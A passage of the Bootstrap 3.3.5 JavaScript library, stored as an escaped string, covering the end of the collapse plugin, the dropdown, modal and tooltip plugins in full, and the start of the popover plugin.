href.replace(/.*(?=#[^\\s]+$)/, '') // strip for ie7\n\n    return $(target)\n  }\n\n\n  // COLLAPSE PLUGIN DEFINITION\n  // ==========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.collapse')\n      var options = $.extend({}, Collapse.DEFAULTS, $this.data(), typeof option == 'object' && option)\n\n      if (!data && options.toggle && /show|hide/.test(option)) options.toggle = false\n      if (!data) $this.data('bs.collapse', (data = new Collapse(this, options)))\n      if (typeof option == 'string') data[option]()\n    })\n  }\n\n  var old = $.fn.collapse\n\n  $.fn.collapse             = Plugin\n  $.fn.collapse.Constructor = Collapse\n\n\n  // COLLAPSE NO CONFLICT\n  // ====================\n\n  $.fn.collapse.noConflict = function () {\n    $.fn.collapse = old\n    return this\n  }\n\n\n  // COLLAPSE DATA-API\n  // =================\n\n  $(document).on('click.bs.collapse.data-api', '[data-toggle=\"collapse\"]', function (e) {\n    var $this   = $(this)\n\n    if (!$this.attr('data-target')) e.preventDefault()\n\n    var $target = getTargetFromTrigger($this)\n    var data    = $target.data('bs.collapse')\n    var option  = data ? 'toggle' : $this.data()\n\n    Plugin.call($target, option)\n  })\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: dropdown.js v3.3.5\n * http://getbootstrap.com/javascript/#dropdowns\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // DROPDOWN CLASS DEFINITION\n  // =========================\n\n  var backdrop = '.dropdown-backdrop'\n  var toggle   = '[data-toggle=\"dropdown\"]'\n  var Dropdown = function (element) {\n    $(element).on('click.bs.dropdown', this.toggle)\n  }\n\n  Dropdown.VERSION = '3.3.5'\n\n  function getParent($this) {\n    var selector = $this.attr('data-target')\n\n    if (!selector) {\n      selector = $this.attr('href')\n      selector = selector && /#[A-Za-z]/.test(selector) && selector.replace(/.*(?=#[^\\s]*$)/, '') // strip for ie7\n    }\n\n    var $parent = selector && $(selector)\n\n    return $parent && $parent.length ? $parent : $this.parent()\n  }\n\n  function clearMenus(e) {\n    if (e && e.which === 3) return\n    $(backdrop).remove()\n    $(toggle).each(function () {\n      var $this         = $(this)\n      var $parent       = getParent($this)\n      var relatedTarget = { relatedTarget: this }\n\n      if (!$parent.hasClass('open')) return\n\n      if (e && e.type == 'click' && /input|textarea/i.test(e.target.tagName) && $.contains($parent[0], e.target)) return\n\n      $parent.trigger(e = $.Event('hide.bs.dropdown', relatedTarget))\n\n      if (e.isDefaultPrevented()) return\n\n      $this.attr('aria-expanded', 'false')\n      $parent.removeClass('open').trigger('hidden.bs.dropdown', relatedTarget)\n    })\n  }\n\n  Dropdown.prototype.toggle = function (e) {\n    var $this = $(this)\n\n    if ($this.is('.disabled, :disabled')) return\n\n    var $parent  = getParent($this)\n    var isActive = $parent.hasClass('open')\n\n    clearMenus()\n\n    if (!isActive) {\n      if ('ontouchstart' in document.documentElement && !$parent.closest('.navbar-nav').length) {\n        // if mobile we use a backdrop because click events don't delegate\n        $(document.createElement('div'))\n          .addClass('dropdown-backdrop')\n          .insertAfter($(this))\n          .on('click', clearMenus)\n      }\n\n      var relatedTarget = { relatedTarget: this }\n      $parent.trigger(e = $.Event('show.bs.dropdown', relatedTarget))\n\n      if (e.isDefaultPrevented()) return\n\n      $this\n        .trigger('focus')\n        .attr('aria-expanded', 'true')\n\n      $parent\n        .toggleClass('open')\n        .trigger('shown.bs.dropdown', relatedTarget)\n    }\n\n    return false\n  }\n\n  Dropdown.prototype.keydown = function (e) {\n    if (!/(38|40|27|32)/.test(e.which) || /input|textarea/i.test(e.target.tagName)) return\n\n    var $this = $(this)\n\n    e.preventDefault()\n    e.stopPropagation()\n\n    if ($this.is('.disabled, :disabled')) return\n\n    var $parent  = getParent($this)\n    var isActive = $parent.hasClass('open')\n\n    if (!isActive && e.which != 27 || isActive && e.which == 27) {\n      if (e.which == 27) $parent.find(toggle).trigger('focus')\n      return $this.trigger('click')\n    }\n\n    var desc = ' li:not(.disabled):visible a'\n    var $items = $parent.find('.dropdown-menu' + desc)\n\n    if (!$items.length) return\n\n    var index = $items.index(e.target)\n\n    if (e.which == 38 && index > 0)                 index--         // up\n    if (e.which == 40 && index < $items.length - 1) index++         // down\n    if (!~index)                                    index = 0\n\n    $items.eq(index).trigger('focus')\n  }\n\n\n  // DROPDOWN PLUGIN DEFINITION\n  // ==========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this = $(this)\n      var data  = $this.data('bs.dropdown')\n\n      if (!data) $this.data('bs.dropdown', (data = new Dropdown(this)))\n      if (typeof option == 'string') data[option].call($this)\n    })\n  }\n\n  var old = $.fn.dropdown\n\n  $.fn.dropdown             = Plugin\n  $.fn.dropdown.Constructor = Dropdown\n\n\n  // DROPDOWN NO CONFLICT\n  // ====================\n\n  $.fn.dropdown.noConflict = function () {\n    $.fn.dropdown = old\n    return this\n  }\n\n\n  // APPLY TO STANDARD DROPDOWN ELEMENTS\n  // ===================================\n\n  $(document)\n    .on('click.bs.dropdown.data-api', clearMenus)\n    .on('click.bs.dropdown.data-api', '.dropdown form', function (e) { e.stopPropagation() })\n    .on('click.bs.dropdown.data-api', toggle, Dropdown.prototype.toggle)\n    .on('keydown.bs.dropdown.data-api', toggle, Dropdown.prototype.keydown)\n    .on('keydown.bs.dropdown.data-api', '.dropdown-menu', Dropdown.prototype.keydown)\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: modal.js v3.3.5\n * http://getbootstrap.com/javascript/#modals\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // MODAL CLASS DEFINITION\n  // ======================\n\n  var Modal = function (element, options) {\n    this.options             = options\n    this.$body               = $(document.body)\n    this.$element            = $(element)\n    this.$dialog             = this.$element.find('.modal-dialog')\n    this.$backdrop           = null\n    this.isShown             = null\n    this.originalBodyPad     = null\n    this.scrollbarWidth      = 0\n    this.ignoreBackdropClick = false\n\n    if (this.options.remote) {\n      this.$element\n        .find('.modal-content')\n        .load(this.options.remote, $.proxy(function () {\n          this.$element.trigger('loaded.bs.modal')\n        }, this))\n    }\n  }\n\n  Modal.VERSION  = '3.3.5'\n\n  Modal.TRANSITION_DURATION = 300\n  Modal.BACKDROP_TRANSITION_DURATION = 150\n\n  Modal.DEFAULTS = {\n    backdrop: true,\n    keyboard: true,\n    show: true\n  }\n\n  Modal.prototype.toggle = function (_relatedTarget) {\n    return this.isShown ? this.hide() : this.show(_relatedTarget)\n  }\n\n  Modal.prototype.show = function (_relatedTarget) {\n    var that = this\n    var e    = $.Event('show.bs.modal', { relatedTarget: _relatedTarget })\n\n    this.$element.trigger(e)\n\n    if (this.isShown || e.isDefaultPrevented()) return\n\n    this.isShown = true\n\n    this.checkScrollbar()\n    this.setScrollbar()\n    this.$body.addClass('modal-open')\n\n    this.escape()\n    this.resize()\n\n    this.$element.on('click.dismiss.bs.modal', '[data-dismiss=\"modal\"]', $.proxy(this.hide, this))\n\n    this.$dialog.on('mousedown.dismiss.bs.modal', function () {\n      that.$element.one('mouseup.dismiss.bs.modal', function (e) {\n        if ($(e.target).is(that.$element)) that.ignoreBackdropClick = true\n      })\n    })\n\n    this.backdrop(function () {\n      var transition = $.support.transition && that.$element.hasClass('fade')\n\n      if (!that.$element.parent().length) {\n        that.$element.appendTo(that.$body) // don't move modals dom position\n      }\n\n      that.$element\n        .show()\n        .scrollTop(0)\n\n      that.adjustDialog()\n\n      if (transition) {\n        that.$element[0].offsetWidth // force reflow\n      }\n\n      that.$element.addClass('in')\n\n      that.enforceFocus()\n\n      var e = $.Event('shown.bs.modal', { relatedTarget: _relatedTarget })\n\n      transition ?\n        that.$dialog // wait for modal to slide in\n          .one('bsTransitionEnd', function () {\n            that.$element.trigger('focus').trigger(e)\n          })\n          .emulateTransitionEnd(Modal.TRANSITION_DURATION) :\n        that.$element.trigger('focus').trigger(e)\n    })\n  }\n\n  Modal.prototype.hide = function (e) {\n    if (e) e.preventDefault()\n\n    e = $.Event('hide.bs.modal')\n\n    this.$element.trigger(e)\n\n    if (!this.isShown || e.isDefaultPrevented()) return\n\n    this.isShown = false\n\n    this.escape()\n    this.resize()\n\n    $(document).off('focusin.bs.modal')\n\n    this.$element\n      .removeClass('in')\n      .off('click.dismiss.bs.modal')\n      .off('mouseup.dismiss.bs.modal')\n\n    this.$dialog.off('mousedown.dismiss.bs.modal')\n\n    $.support.transition && this.$element.hasClass('fade') ?\n      this.$element\n        .one('bsTransitionEnd', $.proxy(this.hideModal, this))\n        .emulateTransitionEnd(Modal.TRANSITION_DURATION) :\n      this.hideModal()\n  }\n\n  Modal.prototype.enforceFocus = function () {\n    $(document)\n      .off('focusin.bs.modal') // guard against infinite focus loop\n      .on('focusin.bs.modal', $.proxy(function (e) {\n        if (this.$element[0] !== e.target && !this.$element.has(e.target).length) {\n          this.$element.trigger('focus')\n        }\n      }, this))\n  }\n\n  Modal.prototype.escape = function () {\n    if (this.isShown && this.options.keyboard) {\n      this.$element.on('keydown.dismiss.bs.modal', $.proxy(function (e) {\n        e.which == 27 && this.hide()\n      }, this))\n    } else if (!this.isShown) {\n      this.$element.off('keydown.dismiss.bs.modal')\n    }\n  }\n\n  Modal.prototype.resize = function () {\n    if (this.isShown) {\n      $(window).on('resize.bs.modal', $.proxy(this.handleUpdate, this))\n    } else {\n      $(window).off('resize.bs.modal')\n    }\n  }\n\n  Modal.prototype.hideModal = function () {\n    var that = this\n    this.$element.hide()\n    this.backdrop(function () {\n      that.$body.removeClass('modal-open')\n      that.resetAdjustments()\n      that.resetScrollbar()\n      that.$element.trigger('hidden.bs.modal')\n    })\n  }\n\n  Modal.prototype.removeBackdrop = function () {\n    this.$backdrop && this.$backdrop.remove()\n    this.$backdrop = null\n  }\n\n  Modal.prototype.backdrop = function (callback) {\n    var that = this\n    var animate = this.$element.hasClass('fade') ? 'fade' : ''\n\n    if (this.isShown && this.options.backdrop) {\n      var doAnimate = $.support.transition && animate\n\n      this.$backdrop = $(document.createElement('div'))\n        .addClass('modal-backdrop ' + animate)\n        .appendTo(this.$body)\n\n      this.$element.on('click.dismiss.bs.modal', $.proxy(function (e) {\n        if (this.ignoreBackdropClick) {\n          this.ignoreBackdropClick = false\n          return\n        }\n        if (e.target !== e.currentTarget) return\n        this.options.backdrop == 'static'\n          ? this.$element[0].focus()\n          : this.hide()\n      }, this))\n\n      if (doAnimate) this.$backdrop[0].offsetWidth // force reflow\n\n      this.$backdrop.addClass('in')\n\n      if (!callback) return\n\n      doAnimate ?\n        this.$backdrop\n          .one('bsTransitionEnd', callback)\n          .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) :\n        callback()\n\n    } else if (!this.isShown && this.$backdrop) {\n      this.$backdrop.removeClass('in')\n\n      var callbackRemove = function () {\n        that.removeBackdrop()\n        callback && callback()\n      }\n      $.support.transition && this.$element.hasClass('fade') ?\n        this.$backdrop\n          .one('bsTransitionEnd', callbackRemove)\n          .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) :\n        callbackRemove()\n\n    } else if (callback) {\n      callback()\n    }\n  }\n\n  // these following methods are used to handle overflowing modals\n\n  Modal.prototype.handleUpdate = function () {\n    this.adjustDialog()\n  }\n\n  Modal.prototype.adjustDialog = function () {\n    var modalIsOverflowing = this.$element[0].scrollHeight > document.documentElement.clientHeight\n\n    this.$element.css({\n      paddingLeft:  !this.bodyIsOverflowing && modalIsOverflowing ? this.scrollbarWidth : '',\n      paddingRight: this.bodyIsOverflowing && !modalIsOverflowing ? this.scrollbarWidth : ''\n    })\n  }\n\n  Modal.prototype.resetAdjustments = function () {\n    this.$element.css({\n      paddingLeft: '',\n      paddingRight: ''\n    })\n  }\n\n  Modal.prototype.checkScrollbar = function () {\n    var fullWindowWidth = window.innerWidth\n    if (!fullWindowWidth) { // workaround for missing window.innerWidth in IE8\n      var documentElementRect = document.documentElement.getBoundingClientRect()\n      fullWindowWidth = documentElementRect.right - Math.abs(documentElementRect.left)\n    }\n    this.bodyIsOverflowing = document.body.clientWidth < fullWindowWidth\n    this.scrollbarWidth = this.measureScrollbar()\n  }\n\n  Modal.prototype.setScrollbar = function () {\n    var bodyPad = parseInt((this.$body.css('padding-right') || 0), 10)\n    this.originalBodyPad = document.body.style.paddingRight || ''\n    if (this.bodyIsOverflowing) this.$body.css('padding-right', bodyPad + this.scrollbarWidth)\n  }\n\n  Modal.prototype.resetScrollbar = function () {\n    this.$body.css('padding-right', this.originalBodyPad)\n  }\n\n  Modal.prototype.measureScrollbar = function () { // thx walsh\n    var scrollDiv = document.createElement('div')\n    scrollDiv.className = 'modal-scrollbar-measure'\n    this.$body.append(scrollDiv)\n    var scrollbarWidth = scrollDiv.offsetWidth - scrollDiv.clientWidth\n    this.$body[0].removeChild(scrollDiv)\n    return scrollbarWidth\n  }\n\n\n  // MODAL PLUGIN DEFINITION\n  // =======================\n\n  function Plugin(option, _relatedTarget) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.modal')\n      var options = $.extend({}, Modal.DEFAULTS, $this.data(), typeof option == 'object' && option)\n\n      if (!data) $this.data('bs.modal', (data = new Modal(this, options)))\n      if (typeof option == 'string') data[option](_relatedTarget)\n      else if (options.show) data.show(_relatedTarget)\n    })\n  }\n\n  var old = $.fn.modal\n\n  $.fn.modal             = Plugin\n  $.fn.modal.Constructor = Modal\n\n\n  // MODAL NO CONFLICT\n  // =================\n\n  $.fn.modal.noConflict = function () {\n    $.fn.modal = old\n    return this\n  }\n\n\n  // MODAL DATA-API\n  // ==============\n\n  $(document).on('click.bs.modal.data-api', '[data-toggle=\"modal\"]', function (e) {\n    var $this   = $(this)\n    var href    = $this.attr('href')\n    var $target = $($this.attr('data-target') || (href && href.replace(/.*(?=#[^\\s]+$)/, ''))) // strip for ie7\n    var option  = $target.data('bs.modal') ? 'toggle' : $.extend({ remote: !/#/.test(href) && href }, $target.data(), $this.data())\n\n    if ($this.is('a')) e.preventDefault()\n\n    $target.one('show.bs.modal', function (showEvent) {\n      if (showEvent.isDefaultPrevented()) return // only register focus restorer if modal will actually get shown\n      $target.one('hidden.bs.modal', function () {\n        $this.is(':visible') && $this.trigger('focus')\n      })\n    })\n    Plugin.call($target, option, this)\n  })\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: tooltip.js v3.3.5\n * http://getbootstrap.com/javascript/#tooltip\n * Inspired by the original jQuery.tipsy by Jason Frame\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // TOOLTIP PUBLIC CLASS DEFINITION\n  // ===============================\n\n  var Tooltip = function (element, options) {\n    this.type       = null\n    this.options    = null\n    this.enabled    = null\n    this.timeout    = null\n    this.hoverState = null\n    this.$element   = null\n    this.inState    = null\n\n    this.init('tooltip', element, options)\n  }\n\n  Tooltip.VERSION  = '3.3.5'\n\n  Tooltip.TRANSITION_DURATION = 150\n\n  Tooltip.DEFAULTS = {\n    animation: true,\n    placement: 'top',\n    selector: false,\n    template: '<div class=\"tooltip\" role=\"tooltip\"><div class=\"tooltip-arrow\"></div><div class=\"tooltip-inner\"></div></div>',\n    trigger: 'hover focus',\n    title: '',\n    delay: 0,\n    html: false,\n    container: false,\n    viewport: {\n      selector: 'body',\n      padding: 0\n    }\n  }\n\n  Tooltip.prototype.init = function (type, element, options) {\n    this.enabled   = true\n    this.type      = type\n    this.$element  = $(element)\n    this.options   = this.getOptions(options)\n    this.$viewport = this.options.viewport && $($.isFunction(this.options.viewport) ? this.options.viewport.call(this, this.$element) : (this.options.viewport.selector || this.options.viewport))\n    this.inState   = { click: false, hover: false, focus: false }\n\n    if (this.$element[0] instanceof document.constructor && !this.options.selector) {\n      throw new Error('`selector` option must be specified when initializing ' + this.type + ' on the window.document object!')\n    }\n\n    var triggers = this.options.trigger.split(' ')\n\n    for (var i = triggers.length; i--;) {\n      var trigger = triggers[i]\n\n      if (trigger == 'click') {\n        this.$element.on('click.' + this.type, this.options.selector, $.proxy(this.toggle, this))\n      } else if (trigger != 'manual') {\n        var eventIn  = trigger == 'hover' ? 'mouseenter' : 'focusin'\n        var eventOut = trigger == 'hover' ? 'mouseleave' : 'focusout'\n\n        this.$element.on(eventIn  + '.' + this.type, this.options.selector, $.proxy(this.enter, this))\n        this.$element.on(eventOut + '.' + this.type, this.options.selector, $.proxy(this.leave, this))\n      }\n    }\n\n    this.options.selector ?\n      (this._options = $.extend({}, this.options, { trigger: 'manual', selector: '' })) :\n      this.fixTitle()\n  }\n\n  Tooltip.prototype.getDefaults = function () {\n    return Tooltip.DEFAULTS\n  }\n\n  Tooltip.prototype.getOptions = function (options) {\n    options = $.extend({}, this.getDefaults(), this.$element.data(), options)\n\n    if (options.delay && typeof options.delay == 'number') {\n      options.delay = {\n        show: options.delay,\n        hide: options.delay\n      }\n    }\n\n    return options\n  }\n\n  Tooltip.prototype.getDelegateOptions = function () {\n    var options  = {}\n    var defaults = this.getDefaults()\n\n    this._options && $.each(this._options, function (key, value) {\n      if (defaults[key] != value) options[key] = value\n    })\n\n    return options\n  }\n\n  Tooltip.prototype.enter = function (obj) {\n    var self = obj instanceof this.constructor ?\n      obj : $(obj.currentTarget).data('bs.' + this.type)\n\n    if (!self) {\n      self = new this.constructor(obj.currentTarget, this.getDelegateOptions())\n      $(obj.currentTarget).data('bs.' + this.type, self)\n    }\n\n    if (obj instanceof $.Event) {\n      self.inState[obj.type == 'focusin' ? 'focus' : 'hover'] = true\n    }\n\n    if (self.tip().hasClass('in') || self.hoverState == 'in') {\n      self.hoverState = 'in'\n      return\n    }\n\n    clearTimeout(self.timeout)\n\n    self.hoverState = 'in'\n\n    if (!self.options.delay || !self.options.delay.show) return self.show()\n\n    self.timeout = setTimeout(function () {\n      if (self.hoverState == 'in') self.show()\n    }, self.options.delay.show)\n  }\n\n  Tooltip.prototype.isInStateTrue = function () {\n    for (var key in this.inState) {\n      if (this.inState[key]) return true\n    }\n\n    return false\n  }\n\n  Tooltip.prototype.leave = function (obj) {\n    var self = obj instanceof this.constructor ?\n      obj : $(obj.currentTarget).data('bs.' + this.type)\n\n    if (!self) {\n      self = new this.constructor(obj.currentTarget, this.getDelegateOptions())\n      $(obj.currentTarget).data('bs.' + this.type, self)\n    }\n\n    if (obj instanceof $.Event) {\n      self.inState[obj.type == 'focusout' ? 'focus' : 'hover'] = false\n    }\n\n    if (self.isInStateTrue()) return\n\n    clearTimeout(self.timeout)\n\n    self.hoverState = 'out'\n\n    if (!self.options.delay || !self.options.delay.hide) return self.hide()\n\n    self.timeout = setTimeout(function () {\n      if (self.hoverState == 'out') self.hide()\n    }, self.options.delay.hide)\n  }\n\n  Tooltip.prototype.show = function () {\n    var e = $.Event('show.bs.' + this.type)\n\n    if (this.hasContent() && this.enabled) {\n      this.$element.trigger(e)\n\n      var inDom = $.contains(this.$element[0].ownerDocument.documentElement, this.$element[0])\n      if (e.isDefaultPrevented() || !inDom) return\n      var that = this\n\n      var $tip = this.tip()\n\n      var tipId = this.getUID(this.type)\n\n      this.setContent()\n      $tip.attr('id', tipId)\n      this.$element.attr('aria-describedby', tipId)\n\n      if (this.options.animation) $tip.addClass('fade')\n\n      var placement = typeof this.options.placement == 'function' ?\n        this.options.placement.call(this, $tip[0], this.$element[0]) :\n        this.options.placement\n\n      var autoToken = /\\s?auto?\\s?/i\n      var autoPlace = autoToken.test(placement)\n      if (autoPlace) placement = placement.replace(autoToken, '') || 'top'\n\n      $tip\n        .detach()\n        .css({ top: 0, left: 0, display: 'block' })\n        .addClass(placement)\n        .data('bs.' + this.type, this)\n\n      this.options.container ? $tip.appendTo(this.options.container) : $tip.insertAfter(this.$element)\n      this.$element.trigger('inserted.bs.' + this.type)\n\n      var pos          = this.getPosition()\n      var actualWidth  = $tip[0].offsetWidth\n      var actualHeight = $tip[0].offsetHeight\n\n      if (autoPlace) {\n        var orgPlacement = placement\n        var viewportDim = this.getPosition(this.$viewport)\n\n        placement = placement == 'bottom' && pos.bottom + actualHeight > viewportDim.bottom ? 'top'    :\n                    placement == 'top'    && pos.top    - actualHeight < viewportDim.top    ? 'bottom' :\n                    placement == 'right'  && pos.right  + actualWidth  > viewportDim.width  ? 'left'   :\n                    placement == 'left'   && pos.left   - actualWidth  < viewportDim.left   ? 'right'  :\n                    placement\n\n        $tip\n          .removeClass(orgPlacement)\n          .addClass(placement)\n      }\n\n      var calculatedOffset = this.getCalculatedOffset(placement, pos, actualWidth, actualHeight)\n\n      this.applyPlacement(calculatedOffset, placement)\n\n      var complete = function () {\n        var prevHoverState = that.hoverState\n        that.$element.trigger('shown.bs.' + that.type)\n        that.hoverState = null\n\n        if (prevHoverState == 'out') that.leave(that)\n      }\n\n      $.support.transition && this.$tip.hasClass('fade') ?\n        $tip\n          .one('bsTransitionEnd', complete)\n          .emulateTransitionEnd(Tooltip.TRANSITION_DURATION) :\n        complete()\n    }\n  }\n\n  Tooltip.prototype.applyPlacement = function (offset, placement) {\n    var $tip   = this.tip()\n    var width  = $tip[0].offsetWidth\n    var height = $tip[0].offsetHeight\n\n    // manually read margins because getBoundingClientRect includes difference\n    var marginTop = parseInt($tip.css('margin-top'), 10)\n    var marginLeft = parseInt($tip.css('margin-left'), 10)\n\n    // we must check for NaN for ie 8/9\n    if (isNaN(marginTop))  marginTop  = 0\n    if (isNaN(marginLeft)) marginLeft = 0\n\n    offset.top  += marginTop\n    offset.left += marginLeft\n\n    // $.fn.offset doesn't round pixel values\n    // so we use setOffset directly with our own function B-0\n    $.offset.setOffset($tip[0], $.extend({\n      using: function (props) {\n        $tip.css({\n          top: Math.round(props.top),\n          left: Math.round(props.left)\n        })\n      }\n    }, offset), 0)\n\n    $tip.addClass('in')\n\n    // check to see if placing tip in new offset caused the tip to resize itself\n    var actualWidth  = $tip[0].offsetWidth\n    var actualHeight = $tip[0].offsetHeight\n\n    if (placement == 'top' && actualHeight != height) {\n      offset.top = offset.top + height - actualHeight\n    }\n\n    var delta = this.getViewportAdjustedDelta(placement, offset, actualWidth, actualHeight)\n\n    if (delta.left) offset.left += delta.left\n    else offset.top += delta.top\n\n    var isVertical          = /top|bottom/.test(placement)\n    var arrowDelta          = isVertical ? delta.left * 2 - width + actualWidth : delta.top * 2 - height + actualHeight\n    var arrowOffsetPosition = isVertical ? 'offsetWidth' : 'offsetHeight'\n\n    $tip.offset(offset)\n    this.replaceArrow(arrowDelta, $tip[0][arrowOffsetPosition], isVertical)\n  }\n\n  Tooltip.prototype.replaceArrow = function (delta, dimension, isVertical) {\n    this.arrow()\n      .css(isVertical ? 'left' : 'top', 50 * (1 - delta / dimension) + '%')\n      .css(isVertical ? 'top' : 'left', '')\n  }\n\n  Tooltip.prototype.setContent = function () {\n    var $tip  = this.tip()\n    var title = this.getTitle()\n\n    $tip.find('.tooltip-inner')[this.options.html ? 'html' : 'text'](title)\n    $tip.removeClass('fade in top bottom left right')\n  }\n\n  Tooltip.prototype.hide = function (callback) {\n    var that = this\n    var $tip = $(this.$tip)\n    var e    = $.Event('hide.bs.' + this.type)\n\n    function complete() {\n      if (that.hoverState != 'in') $tip.detach()\n      that.$element\n        .removeAttr('aria-describedby')\n        .trigger('hidden.bs.' + that.type)\n      callback && callback()\n    }\n\n    this.$element.trigger(e)\n\n    if (e.isDefaultPrevented()) return\n\n    $tip.removeClass('in')\n\n    $.support.transition && $tip.hasClass('fade') ?\n      $tip\n        .one('bsTransitionEnd', complete)\n        .emulateTransitionEnd(Tooltip.TRANSITION_DURATION) :\n      complete()\n\n    this.hoverState = null\n\n    return this\n  }\n\n  Tooltip.prototype.fixTitle = function () {\n    var $e = this.$element\n    if ($e.attr('title') || typeof $e.attr('data-original-title') != 'string') {\n      $e.attr('data-original-title', $e.attr('title') || '').attr('title', '')\n    }\n  }\n\n  Tooltip.prototype.hasContent = function () {\n    return this.getTitle()\n  }\n\n  Tooltip.prototype.getPosition = function ($element) {\n    $element   = $element || this.$element\n\n    var el     = $element[0]\n    var isBody = el.tagName == 'BODY'\n\n    var elRect    = el.getBoundingClientRect()\n    if (elRect.width == null) {\n      // width and height are missing in IE8, so compute them manually; see https://github.com/twbs/bootstrap/issues/14093\n      elRect = $.extend({}, elRect, { width: elRect.right - elRect.left, height: elRect.bottom - elRect.top })\n    }\n    var elOffset  = isBody ? { top: 0, left: 0 } : $element.offset()\n    var scroll    = { scroll: isBody ? document.documentElement.scrollTop || document.body.scrollTop : $element.scrollTop() }\n    var outerDims = isBody ? { width: $(window).width(), height: $(window).height() } : null\n\n    return $.extend({}, elRect, scroll, outerDims, elOffset)\n  }\n\n  Tooltip.prototype.getCalculatedOffset = function (placement, pos, actualWidth, actualHeight) {\n    return placement == 'bottom' ? { top: pos.top + pos.height,   left: pos.left + pos.width / 2 - actualWidth / 2 } :\n           placement == 'top'    ? { top: pos.top - actualHeight, left: pos.left + pos.width / 2 - actualWidth / 2 } :\n           placement == 'left'   ? { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left - actualWidth } :\n        /* placement == 'right' */ { top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left + pos.width }\n\n  }\n\n  Tooltip.prototype.getViewportAdjustedDelta = function (placement, pos, actualWidth, actualHeight) {\n    var delta = { top: 0, left: 0 }\n    if (!this.$viewport) return delta\n\n    var viewportPadding = this.options.viewport && this.options.viewport.padding || 0\n    var viewportDimensions = this.getPosition(this.$viewport)\n\n    if (/right|left/.test(placement)) {\n      var topEdgeOffset    = pos.top - viewportPadding - viewportDimensions.scroll\n      var bottomEdgeOffset = pos.top + viewportPadding - viewportDimensions.scroll + actualHeight\n      if (topEdgeOffset < viewportDimensions.top) { // top overflow\n        delta.top = viewportDimensions.top - topEdgeOffset\n      } else if (bottomEdgeOffset > viewportDimensions.top + viewportDimensions.height) { // bottom overflow\n        delta.top = viewportDimensions.top + viewportDimensions.height - bottomEdgeOffset\n      }\n    } else {\n      var leftEdgeOffset  = pos.left - viewportPadding\n      var rightEdgeOffset = pos.left + viewportPadding + actualWidth\n      if (leftEdgeOffset < viewportDimensions.left) { // left overflow\n        delta.left = viewportDimensions.left - leftEdgeOffset\n      } else if (rightEdgeOffset > viewportDimensions.right) { // right overflow\n        delta.left = viewportDimensions.left + viewportDimensions.width - rightEdgeOffset\n      }\n    }\n\n    return delta\n  }\n\n  Tooltip.prototype.getTitle = function () {\n    var title\n    var $e = this.$element\n    var o  = this.options\n\n    title = $e.attr('data-original-title')\n      || (typeof o.title == 'function' ? o.title.call($e[0]) :  o.title)\n\n    return title\n  }\n\n  Tooltip.prototype.getUID = function (prefix) {\n    do prefix += ~~(Math.random() * 1000000)\n    while (document.getElementById(prefix))\n    return prefix\n  }\n\n  Tooltip.prototype.tip = function () {\n    if (!this.$tip) {\n      this.$tip = $(this.options.template)\n      if (this.$tip.length != 1) {\n        throw new Error(this.type + ' `template` option must consist of exactly 1 top-level element!')\n      }\n    }\n    return this.$tip\n  }\n\n  Tooltip.prototype.arrow = function () {\n    return (this.$arrow = this.$arrow || this.tip().find('.tooltip-arrow'))\n  }\n\n  Tooltip.prototype.enable = function () {\n    this.enabled = true\n  }\n\n  Tooltip.prototype.disable = function () {\n    this.enabled = false\n  }\n\n  Tooltip.prototype.toggleEnabled = function () {\n    this.enabled = !this.enabled\n  }\n\n  Tooltip.prototype.toggle = function (e) {\n    var self = this\n    if (e) {\n      self = $(e.currentTarget).data('bs.' + this.type)\n      if (!self) {\n        self = new this.constructor(e.currentTarget, this.getDelegateOptions())\n        $(e.currentTarget).data('bs.' + this.type, self)\n      }\n    }\n\n    if (e) {\n      self.inState.click = !self.inState.click\n      if (self.isInStateTrue()) self.enter(self)\n      else self.leave(self)\n    } else {\n      self.tip().hasClass('in') ? self.leave(self) : self.enter(self)\n    }\n  }\n\n  Tooltip.prototype.destroy = function () {\n    var that = this\n    clearTimeout(this.timeout)\n    this.hide(function () {\n      that.$element.off('.' + that.type).removeData('bs.' + that.type)\n      if (that.$tip) {\n        that.$tip.detach()\n      }\n      that.$tip = null\n      that.$arrow = null\n      that.$viewport = null\n    })\n  }\n\n\n  // TOOLTIP PLUGIN DEFINITION\n  // =========================\n\n  function Plugin(option) {\n    return this.each(function () {\n      var $this   = $(this)\n      var data    = $this.data('bs.tooltip')\n      var options = typeof option == 'object' && option\n\n      if (!data && /destroy|hide/.test(option)) return\n      if (!data) $this.data('bs.tooltip', (data = new Tooltip(this, options)))\n      if (typeof option == 'string') data[option]()\n    })\n  }\n\n  var old = $.fn.tooltip\n\n  $.fn.tooltip             = Plugin\n  $.fn.tooltip.Constructor = Tooltip\n\n\n  // TOOLTIP NO CONFLICT\n  // ===================\n\n  $.fn.tooltip.noConflict = function () {\n    $.fn.tooltip = old\n    return this\n  }\n\n}(jQuery);\n\n/* ========================================================================\n * Bootstrap: popover.js v3.3.5\n * http://getbootstrap.com/javascript/#popovers\n * ========================================================================\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * ======================================================================== */\n\n\n+function ($) {\n  'use strict';\n\n  // POPOVER PUBLIC CLASS DEFINITION\n  // ===============================\n\n  var Popover = function (element, options) {\n    this.init('popover', element, options)\n  }\n\n  if (!$.fn.tooltip) throw new Error('Popover requires tooltip.js')\n\n  Popover.VERSION  = '3.3.5'\n\n  Popover.DEFAULTS = $.extend({}, 